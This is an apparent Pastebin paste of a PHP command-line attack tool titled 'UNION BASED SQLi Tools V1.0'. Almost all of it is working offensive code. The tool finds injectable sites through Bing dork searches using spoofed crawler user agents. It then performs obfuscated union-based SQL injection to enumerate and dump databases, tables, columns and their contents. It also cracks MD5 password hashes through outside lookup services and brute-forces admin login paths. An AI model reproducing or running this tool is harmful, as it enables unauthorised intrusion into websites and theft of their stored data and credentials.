inj3ctor_m4

UNION BASED SQLi Tools V1.0

May 17th, 2015
838
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
PHP 15.36 KB | None | 0 0
  1. <?php
  2. #INJ3CTOR_M4
  3. #UNION BASED SQLi Tools V1.0
  4. //Jounoud L'Mouvement
  5.  
  6. @set_time_limit(0);
  7. error_reporting(0);
  8. $options = getopt('d:u:p:h:f:');
  9. $agents = array('Mozilla/5.0 (compatible; bingbot/2.0; +http://www.bing.com/bingbot.htm)', 'msnbot/2.0b (+http://search.msn.com/msnbot.htm)',
  10. 'msnbot-media/1.1 (+http://search.msn.com/msnbot.htm)', 'adidxbot/1.1 (+http://search.msn.com/msnbot.htm)',
  11. 'Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/534+ (KHTML, like Gecko) BingPreview/1.0b');
  12.  
  13. echo"
  14.      ## ##     ##    ##     ##    ###    ##     ## ####       ##
  15.      ## ###   ###    ##     ##   ## ##   ##     ##  ##        ##
  16.      ## #### ####    ##     ##  ##   ##  ##     ##  ##        ##
  17.      ## ## ### ##    ######### ##     ## ##     ##  ##        ##
  18. ##    ## ##     ##    ##     ## #########  ##   ##   ##  ##    ##
  19. ##    ## ##     ##    ##     ## ##     ##   ## ##    ##  ##    ##
  20. ######  ##     ##    ##     ## ##     ##    ###    ####  ######  
  21.  
  22.  
  23. ";
  24.  
  25. if(isset($options['d'])){   $dork = $options['d'];
  26.     foreach($agents as $agent){
  27.         $links = bing($dork, $agent);
  28.         foreach($links as $link){
  29.             $urls[] = $link;
  30.         }
  31.     }
  32.     $urls = array_unique($urls);
  33.     foreach($urls as $url){
  34.         $r = scan_url($url  .   "%27");
  35.         if($r == true){
  36.             echo"[+] $url Vulnerable!\r\n";
  37.         }else{  echo"[-] $url Note Vulnerable!\r\n";    }
  38.     }
  39. }elseif(isset($options['u']) && isset($options['p'])){  $u = $options['u']; $p = $options['p'];
  40.     if(scan_url($u  .   "%27") == true){    echo"[+] Infected .. Trying To Exploit\r\n";
  41.         $req = $u   .   "+/*!oRdEr*/+/*!By*/+100+--";
  42.         $req_source = get_source($req);
  43.         if(scan_url($req) == true or eregi("'100' in 'order", $req_source)){
  44.             echo"[!] Integer Method !\r\n";
  45.             for($i=1;$i<=100;$i++){
  46.                 $req = $u   .   "+/*!oRdEr*/+/*!By*/+$i+--";
  47.                 $req_source = get_source($req);
  48.                 if(scan_url($req) == true or eregi("'$i' in 'order", $req_source)){
  49.                     $cn = $i-1;
  50.                     echo"[!] Number OF Columns: "   .   $cn .   "\r\n";
  51.                     break;
  52.                 }
  53.             }
  54.             $u = preg_replace("#{$p}\=([0-9]{1,6})#","{$p}=null", $u);
  55.             $query.= "+/*!00000uNiOn*/+/*!00000SeLeCt*/+";
  56.             for($i=1;$i<=$cn;$i++){
  57.                 $query.= "($i),";
  58.             }
  59.             $req = $u   .   str_replace("($cn),", "($cn)+--", $query);
  60.             for($i=1;$i<=$cn;$i++){
  61.                 $req_e = str_replace("($i)", "0x6d3467686f756c", $req);
  62.                 $data = get_source($req_e);
  63.                 if(preg_match('/m4ghoul/i', $data)){
  64.                     $in = $i;
  65.                     echo"[!] Infected Column: $in\r\n";
  66.                     break;
  67.                 }
  68.             }
  69.             if($in){
  70.                 $req_v = str_replace("($in)", "(unhex(hex(/*!00000cOnCaT(0x6d3467686f756c,version(),0x6d3467686f756c)*/)))", $req);
  71.                 $data = get_source($req_v);
  72.                 if(preg_match('/m4ghoul(.*?)m4ghoul/', $data, $matche)){
  73.                     $version = $matche[1];
  74.                     echo"[+] Version: $version\r\n";
  75.                 }
  76.                 $req_d = str_replace("($in)", "(unhex(hex(/*!00000GrOuP_cOnCaT(0x6d3467686f756c,sChEmA_nAmE,0x6d3467686f756c)*/)))", $req);
  77.                 $req_d = str_replace("+--", "+/*!00000FrOm*/+InFoRmAtIoN_sChEmA.sChEmAtA+--", $req_d);
  78.                 $data = get_source($req_d);
  79.                 if(preg_match_all('/m4ghoul(.*?)m4ghoul/', $data, $matches)){
  80.                     echo"[*] Databases:\r\n";
  81.                     foreach($matches[1] as $database){
  82.                         echo"\t- $database\r\n";
  83.                     }
  84.                     echo"\r\nSELECT A DATABASE? # ";
  85.                     $database = trim(fgets(STDIN,1024));
  86.                     $database_h = strToHex($database);
  87.                     $req_t = str_replace("($in)", "(unhex(hex(/*!00000GrOuP_cOnCaT(0x6d3467686f756c,tAbLe_NaMe,0x6d3467686f756c)*/)))", $req);
  88.                     $req_t = str_replace("+--", "+/*!00000FrOm*/+InFoRmAtIoN_sChEmA.tAbLeS+wHeRe+/*!00000table_schema*/={$database_h}+--", $req_t);
  89.                     $data = get_source($req_t);
  90.                     if(preg_match_all('/m4ghoul(.*?)m4ghoul/', $data, $matches)){
  91.                         echo"[*] Tables:\r\n";
  92.                         foreach($matches[1] as $table){
  93.                             echo"\t- $table\r\n";
  94.                         }
  95.                         echo"\r\nSELECT A TABLE? # ";
  96.                         $table = trim(fgets(STDIN,1024));
  97.                         $h_table = strToHex($table);
  98.                         $req_c = str_replace("($in)", "(unhex(hex(/*!00000GrOuP_cOnCaT(0x6d3467686f756c,CoLuMn_NaMe,0x6d3467686f756c)*/)))", $req);
  99.                         $req_c = str_replace("+--", "+/*!00000FrOm*/+InFoRmAtIoN_sChEmA.cOlUmNs+WhErE+/*!00000table_schema*/={$database_h}+/*!00000and*/+/*!00000table_name*/={$h_table}+--", $req_c);
  100.                         $data = get_source($req_c);
  101.                         if(preg_match_all('/m4ghoul(.*?)m4ghoul/', $data, $matches)){
  102.                             echo"[*] Columns:\r\n";
  103.                             foreach($matches[1] as $column){
  104.                                 echo"\t- $column\r\n";
  105.                             }
  106.                             echo"\r\nSELECT COLUMN? # ";
  107.                             $column = trim(fgets(STDIN,1024));
  108.                             $req_a = str_replace("($in)", "(unhex(hex(/*!00000GrOuP_cOnCaT(0x6d3467686f756c,$column,0x6d3467686f756c)*/)))", $req);
  109.                             $req_a = str_replace("+--", "+/*!00000FrOm*/+$database.$table+--", $req_a);
  110.                             $data = get_source($req_a);
  111.                             if(preg_match_all('/m4ghoul(.*?)m4ghoul/', $data, $matches)){
  112.                                 echo"[*] Data:\r\n";
  113.                                 foreach($matches[1] as $all){
  114.                                     echo"\t- $all\r\n";
  115.                                 }
  116.                             }
  117.                         }
  118.                     }
  119.                 }
  120.             }else{  echo"[-] Union Based Not Allowed\r\n";  }
  121.         }else{  $req = $u   .   "'+/*!oRdEr*/+/*!By*/+100+-- -";
  122.             $req_source = get_source($req);
  123.             if(scan_url($req) == true or eregi("'100' in 'order", $req_source)){
  124.                 echo"[!] String Method !\r\n";
  125.                 for($i=1;$i<=100;$i++){
  126.                     $req = $u   .   "'+/*!oRdEr*/+/*!By*/+$i+--+-";
  127.                     $req_source = get_source($req);
  128.                     if(scan_url($req) == true or eregi("'$i' in 'order", $req_source)){
  129.                         $cn = $i-1;
  130.                         echo"[!] Number OF Columns: "   .   $cn .   "\r\n";
  131.                         break;
  132.                     }
  133.                 }
  134.                 $u = preg_replace("#{$p}\=([0-9]{1,6})#","{$p}=null'", $u);
  135.                 $query.= "+/*!00000uNiOn*/+/*!00000SeLeCt*/+";
  136.                 for($i=1;$i<=$cn;$i++){
  137.                     $query.= "($i),";
  138.                 }
  139.                 $req = $u   .   str_replace("($cn),", "($cn)+--+-", $query);
  140.                 for($i=1;$i<=$cn;$i++){
  141.                     $req_e = str_replace("($i)", "0x6d3467686f756c", $req);
  142.                     $data = get_source($req_e);
  143.                     if(preg_match('/m4ghoul/', $data)){
  144.                         $in = $i;
  145.                         echo"[!] Infected Column: $in\r\n";
  146.                         break;
  147.                     }
  148.                 }
  149.                 if($in){
  150.                     $req_v = str_replace("($in)", "(unhex(hex(/*!00000cOnCaT(0x6d3467686f756c,version(),0x6d3467686f756c)*/)))", $req);
  151.                     $data = get_source($req_v);
  152.                     if(preg_match('/m4ghoul(.*?)m4ghoul/', $data, $matche)){
  153.                         $version = $matche[1];
  154.                         echo"[+] Version: $version\r\n";
  155.                     }
  156.                     $req_d = str_replace("($in)", "(unhex(hex(/*!00000GrOuP_cOnCaT(0x6d3467686f756c,sChEmA_nAmE,0x6d3467686f756c)*/)))", $req);
  157.                     $req_d = str_replace("+--", "+/*!00000FrOm*/+InFoRmAtIoN_sChEmA.sChEmAtA+--+-", $req_d);
  158.                     $data = get_source($req_d);
  159.                     if(preg_match_all('/m4ghoul(.*?)m4ghoul/', $data, $matches)){
  160.                         echo"[*] Databases:\r\n";
  161.                         foreach($matches[1] as $database){
  162.                             echo"\t- $database\r\n";
  163.                         }
  164.                         echo"\r\nSELECT A DATABASE? # ";
  165.                         $database = trim(fgets(STDIN,1024));
  166.                         $database_h = strToHex($database);
  167.                         $req_t = str_replace("($in)", "(unhex(hex(/*!00000GrOuP_cOnCaT(0x6d3467686f756c,tAbLe_NaMe,0x6d3467686f756c)*/)))", $req);
  168.                         $req_t = str_replace("+--", "+/*!00000FrOm*/+InFoRmAtIoN_sChEmA.tAbLeS+wHeRe+/*!00000table_schema*/={$database_h}+--+-", $req_t);
  169.                         $data = get_source($req_t);
  170.                         if(preg_match_all('/m4ghoul(.*?)m4ghoul/', $data, $matches)){
  171.                             echo"[*] Tables:\r\n";
  172.                             foreach($matches[1] as $table){
  173.                                 echo"\t- $table\r\n";
  174.                             }
  175.                             echo"\r\nSELECT A TABLE? # ";
  176.                             $table = trim(fgets(STDIN,1024));
  177.                             $h_table = strToHex($table);
  178.                             $req_c = str_replace("($in)", "unhex(hex(/*!00000GrOuP_cOnCaT(0x6d3467686f756c,CoLuMn_NaMe,0x6d3467686f756c)*/)))", $req);
  179.                             $req_c = str_replace("+--", "+/*!00000FrOm*/+InFoRmAtIoN_sChEmA.cOlUmNs+WhErE+/*!00000table_schema*/={$database_h}+/*!00000and*/+/*!00000table_name*/={$h_table}+--+-", $req_c);
  180.                             $data = get_source($req_c);
  181.                             if(preg_match_all('/m4ghoul(.*?)m4ghoul/', $data, $matches)){
  182.                                 echo"[*] Columns:\r\n";
  183.                                 foreach($matches[1] as $column){
  184.                                     echo"\t- $column\r\n";
  185.                                 }
  186.                                 echo"\r\nSELECT COLUMN? # ";
  187.                                 $column = trim(fgets(STDIN,1024));
  188.                                 $req_a = str_replace("($in)", "(unhex(hex(/*!00000GrOuP_cOnCaT(0x6d3467686f756c,$column,0x6d3467686f756c)*/)))", $req);
  189.                                 $req_a = str_replace("+--", "+/*!00000FrOm*/+$database.$table+--+-", $req_a);
  190.                                 $data = get_source($req_a);
  191.                                 if(preg_match_all('/m4ghoul(.*?)m4ghoul/', $data, $matches)){
  192.                                     echo"[*] Data:\r\n";
  193.                                     foreach($matches[1] as $all){
  194.                                         echo"\t- $all\r\n";
  195.                                     }
  196.                                 }
  197.                             }
  198.                         }
  199.                     }
  200.                 }else{  echo"[-] Union Based Not Allowed\r\n";  }
  201.             }
  202.         }
  203.     }else{ echo"[-] Not Infected - EXIT!\r\n"; exit;    }
  204. }elseif(isset($options['h'])){  $hashs = list_get_contents($options['h']);
  205.     foreach($hashs as $hash){
  206.         $r = md5_decryption($hash);
  207.         if($r != false){    echo"[+] $hash --> $r Cracked!\r\n";    }else{
  208.             $data = get_source("http://api.md5crack.com/crack/No9Y8Ty49aQbptYt/"    .   $hash);
  209.             $json = json_decode($data);
  210.             if($json->{'response'} == 'The MD5 hash was cracked.'){
  211.                 $r = $json->{'phrase'};
  212.                 echo"[+] $hash --> $r Cracked!\r\n";
  213.             }else{  echo"[-] $hash --> Note Found!\r\n";    }
  214.         }
  215.     }
  216. }elseif(isset($options['f'])){  $url = $options['f'];
  217.  
  218.     # You Can Add More Pages :D
  219.     $admins = array('admin/', 'administrator/', 'admin1/', 'admin2/', 'admin3/', 'admin4/', 'admin5/', 'usuarios/', 'usuario/', 'administrator/', 'moderator/', 'webadmin/', 'adminarea/', 'bb-admin/', 'adminLogin/', 'admin_area/', 'panel-administracion/', 'instadmin/', 'memberadmin/', 'administratorlogin/', 'adm/', 'admin/account.php', 'admin/index.php', 'admin/login.php', 'admin/admin.php', 'admin/account.php', 'admin_area/admin.php', 'admin_area/login.php', 'siteadmin/login.php', 'siteadmin/index.php', 'siteadmin/login.html', 'admin/account.html', 'admin/index.html', 'admin/login.html', 'admin/admin.html', 'admin_area/index.php', 'bb-admin/index.php', 'bb-admin/login.php', 'bb-admin/admin.php', 'admin/home.php', 'admin_area/login.html', 'admin_area/index.html', 'admin/controlpanel.php', 'admin.php', 'admincp/index.asp', 'admincp/login.asp', 'admincp/index.html', 'admin/account.html', 'adminpanel.html', 'webadmin.html', 'webadmin/index.html', 'webadmin/admin.html', 'webadmin/login.html', 'admin/admin_login.html', 'admin_login.html', 'panel-administracion/login.html', 'admin/cp.php', 'cp.php', 'administrator/index.php', 'administrator/login.php', 'nsw/admin/login.php', 'webadmin/login.php', 'admin/admin_login.php', 'admin_login.php', 'administrator/account.php', 'administrator.php', 'admin_area/admin.html', 'pages/admin/admin-login.php', 'admin/admin-login.php', 'admin-login.php', 'bb-admin/index.html', 'bb-admin/login.html', 'acceso.php', 'bb-admin/admin.html', 'admin/home.html', 'login.php', 'modelsearch/login.php', 'moderator.php', 'moderator/login.php', 'moderator/admin.php', 'account.php', 'pages/admin/admin-login.html', 'admin/admin-login.html', 'admin-login.html', 'controlpanel.php', 'admincontrol.php', 'admin/adminLogin.html', 'adminLogin.html', 'admin/adminLogin.html', 'home.html', 'rcjakar/admin/login.php', 'adminarea/index.html', 'adminarea/admin.html', 'webadmin.php', 'webadmin/index.php', 'webadmin/admin.php', 'admin/controlpanel.html', 'admin.html', 'admin/cp.html', 'cp.html', 'adminpanel.php', 'moderator.html', 'administrator/index.html', 'administrator/login.html', 'user.html', 'administrator/account.html', 'administrator.html', 'login.html', 'modelsearch/login.html', 'moderator/login.html', 'adminarea/login.html', 'panel-administracion/index.html', 'panel-administracion/admin.html', 'modelsearch/index.html', 'modelsearch/admin.html', 'admincontrol/login.html', 'adm/index.html', 'adm.html', 'moderator/admin.html', 'user.php', 'account.html', 'controlpanel.html', 'admincontrol.html', 'panel-administracion/login.php', 'wp-login.php', 'adminLogin.php', 'admin/adminLogin.php', 'home.php', 'admin.php', 'adminarea/index.php', 'adminarea/admin.php', 'adminarea/login.php', 'panel-administracion/index.php', 'panel-administracion/admin.php', 'modelsearch/index.php', 'modelsearch/admin.php', 'admincontrol/login.php', 'adm/admloginuser.php', 'admloginuser.php', 'admin2.php', 'admin2/login.php', 'admin2/index.php', 'usuarios/login.php', 'adm/index.php', 'adm.php', 'affiliate.php', 'adm_auth.php', 'memberadmin.php', 'administratorlogin.php');
  220.     $ch = curl_init();
  221.     foreach($admins as $admin){
  222.         curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, 0);
  223.         curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
  224.         curl_setopt($ch, CURLOPT_URL, $url  .   $admin);
  225.         curl_exec($ch);
  226.         if(curl_getinfo($ch, CURLINFO_HTTP_CODE) == 200){
  227.             echo"[+] $url$admin\t200 OK\r\n";
  228.         }
  229.     }
  230.     curl_close($ch);
  231. }else{      echo"[!] Usage: php $argv[0] -[OPTIONS]:\n\n\t -d Dork // Bing Sql Injection Scanner\r\n\t -u http://localhost/index.php?id=1 -p id // Union Based Injector\r\n\t -h list.txt // Hashs Cracker\r\n\t -f http://localhost/ // Admin Page Finder\r\n";    }
  232.  
  233. // Functions //
  234.  
  235. function bing($dork, $agent){
  236.     $ch = curl_init();
  237.     $i = 1;
  238.     while ($i) {
  239.         curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
  240.         curl_setopt($ch, CURLOPT_URL, "http://www.bing.com/search?q="   .   urlencode($dork)    .   "&first={$i}");
  241.         curl_setopt($ch, CURLOPT_USERAGENT, $agent);
  242.         curl_setopt($ch, CURLOPT_COOKIEFILE, 'cookie.txt');
  243.         curl_setopt($ch, CURLOPT_COOKIEJAR, 'cookie.txt');
  244.         curl_setopt($ch, CURLOPT_ENCODING, "gzip, deflate, compress");
  245.         $data = curl_exec($ch);
  246.         preg_match_all('#;a=(.*?)" h="#',$data, $links);
  247.         foreach($links[1] as $link){
  248.             $allLinks[] = $link;
  249.         }
  250.         if(!preg_match('#"sw_next"#', $data)) break;
  251.         $i+=10;
  252.     }
  253.     if(!empty($allLinks) && is_array($allLinks)){
  254.         return array_unique(array_map("urldecode", $allLinks));
  255.     }
  256. }
  257.  
  258. function scan_url($url){
  259.     $data = get_source($url);
  260.     if(preg_match("/error in your SQL syntax|mysql_fetch_array()|execute query|mysql_fetch_object()|mysql_num_rows()|mysql_fetch_assoc()|mysql_fetch_row()|SELECT * FROM|supplied argument is not a valid MySQL|Syntax error|Fatal error/i", $data)){
  261.         return true;
  262.     }else{  return false;   }
  263. }
  264.  
  265. function strToHex($string){
  266.     $hex='';
  267.     for($i=0;$i<strlen($string);$i++){
  268.         $hex .= dechex(ord($string[$i]));
  269.     }
  270.     return "0x" .   $hex;
  271. }
  272.  
  273. function list_get_contents($file){
  274.     $data = file($file);
  275.     return array_unique(array_map("trim", $data));
  276. }
  277.  
  278. function md5_decryption($hash){
  279.     $ch = curl_init();
  280.     curl_setopt($ch, CURLOPT_URL, 'http://md5decryption.com/');
  281.     curl_setopt($ch, CURLOPT_USERAGENT, 'Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)');
  282.     curl_setopt($ch, CURLOPT_POST, 1);
  283.     curl_setopt($ch, CURLOPT_POSTFIELDS, "hash={$hash}&submit=Decrypt+It%21");
  284.     curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
  285.     curl_setopt($ch, CURLOPT_ENCODING, 0);
  286.     curl_setopt($ch, CURLOPT_TIMEOUT, 30);
  287.     $data = curl_exec($ch);
  288.     if(preg_match("#<font size='2'>Decrypted Text: </b>(.*?)</font>#", $data, $matche)){
  289.         return $matche[1];
  290.     }else{  return false;   }
  291. }
  292.  
  293. function get_source($link, $agent=false){
  294.     if(!$agent){ $agent='Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)'; }
  295.     if(!function_exists('curl_init')){
  296.         return file_get_contents($link);
  297.     }else{
  298.         $ch = curl_init();
  299.         curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
  300.         curl_setopt($ch, CURLOPT_FOLLOWLOCATION, 1);
  301.         curl_setopt($ch, CURLOPT_URL, $link);
  302.         curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, 0);
  303.         curl_setopt($ch, CURLOPT_USERAGENT, $agent);
  304.         curl_setopt($ch, CURLOPT_ENCODING, 0);
  305.         curl_setopt($ch, CURLOPT_TIMEOUT, 30);
  306.         $data = curl_exec($ch);
  307.         curl_close($ch);
  308.        
  309.         return $data;
  310.     }
  311. }
Advertisement
Add Comment
Please, Sign In to add comment